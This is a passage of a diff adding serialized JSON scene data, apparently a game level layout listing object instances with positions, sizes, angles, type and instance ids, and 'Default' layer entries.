+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 491,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 489,
+ 6519,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 587,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 490,
+ 6520,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 683,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 491,
+ 6521,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1579.5205078125,
+ 708.4993286132812,
+ 0,
+ 144,
+ 93,
+ 0,
+ -1.50925874710083,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6522,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 758,
+ 744,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6523,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1278,
+ 1724,
+ 0,
+ 91.7906494140625,
+ 48,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6524,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1275,
+ 1637,
+ 0,
+ 44.38152313232422,
+ 21.39823532104492,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 498,
+ 6525,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1674,
+ 1662,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6526,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5299,
+ 837,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6527,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5300,
+ 759,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6528,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5301,
+ 680,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6529,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5375,
+ 837,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6530,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5376,
+ 759,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6531,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5377,
+ 680,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6532,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -427,
+ 1256,
+ 0,
+ 157,
+ 21,
+ 0,
+ -0.574984073638916,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6533,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -673,
+ 1671,
+ 0,
+ 295.8233947753906,
+ 21,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6534,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1102,
+ 1639,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6535,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1131,
+ 1639,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6536,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -167,
+ 780,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6537,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1653.94970703125,
+ 584.4502563476562,
+ 0,
+ 144,
+ 93,
+ 0,
+ -1.50925874710083,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6538,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2212.47314453125,
+ 658.8027954101562,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6539,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4083.99267578125,
+ 816.4261474609375,
+ 0,
+ 144,
+ 93,
+ 0,
+ 1.877838969230652,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6540,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4186.09765625,
+ 714.3235473632812,
+ 0,
+ 144,
+ 93,
+ 0,
+ 1.877838969230652,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6541,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5296.4765625,
+ 1072.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6542,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5297.4765625,
+ 994.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6543,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5298.4765625,
+ 915.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6544,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5372.4765625,
+ 1072.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6545,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5373.4765625,
+ 994.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6546,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5374.4765625,
+ 915.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6547,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 757,
+ 861,
+ 0,
+ 150.1151123046875,
+ 142.4561767578125,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 541,
+ 6548,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 1,
+ 10,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 0
+ ],
+ [
+ 1
+ ],
+ [
+ 200,
+ 1500,
+ 1500,
+ 650,
+ 1500,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2370.568603515625,
+ 673.9760131835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6549,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2399.388916015625,
+ 673.9760131835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6550,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2429.44580078125,
+ 673.9760131835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6551,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4829,
+ 671,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 6552,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.47314453125,
+ 530.917724609375,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 6553,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3718.175048828125,
+ 530.917724609375,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 6554,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.12126159667969,
+ 873.7174072265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6555,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1212615966797,
+ 873.7174072265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6556,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7083129882813,
+ 873.9495849609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6557,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7083129882813,
+ 873.9495849609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6558,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.12124633789063,
+ 968.417724609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6559,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1212463378906,
+ 968.417724609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6560,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7082977294922,
+ 968.64990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6561,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7083129882813,
+ 968.64990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6562,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402.8583374023438,
+ 1063.306518554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6563,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 494.8583374023438,
+ 1063.306518554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6564,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 586.4453735351562,
+ 1063.538696289063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6565,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 678.4453735351562,
+ 1063.538696289063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6566,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.17764282226563,
+ 1062.955322265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6567,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1776275634766,
+ 1062.955322265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6568,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7646636962891,
+ 1063.1875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6569,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7646789550781,
+ 1063.1875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6570,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 770.4392700195312,
+ 1064.014892578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6571,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 862.4392700195312,
+ 1064.014892578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6572,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 954.0263061523438,
+ 1064.2470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6573,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1046.026245117188,
+ 1064.2470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6574,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1137.534057617188,
+ 1064.2470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6575,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1229.095825195313,
+ 970.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6576,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.095825195313,
+ 970.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6577,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1229.095825195313,
+ 1064.288940429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6578,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.095825195313,
+ 1064.288940429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6579,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 875.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6580,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 875.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6581,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 970.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6582,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 970.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6583,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 1064.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6584,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 1064.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6585,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.287841796875,
+ 655.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6586,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.287841796875,
+ 656.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6587,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.287841796875,
+ 656.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6588,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2002.287841796875,
+ 656.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6589,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6590,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6591,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6592,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6593,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6594,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6595,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6596,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6597,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6598,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6599,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6600,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6601,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6602,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
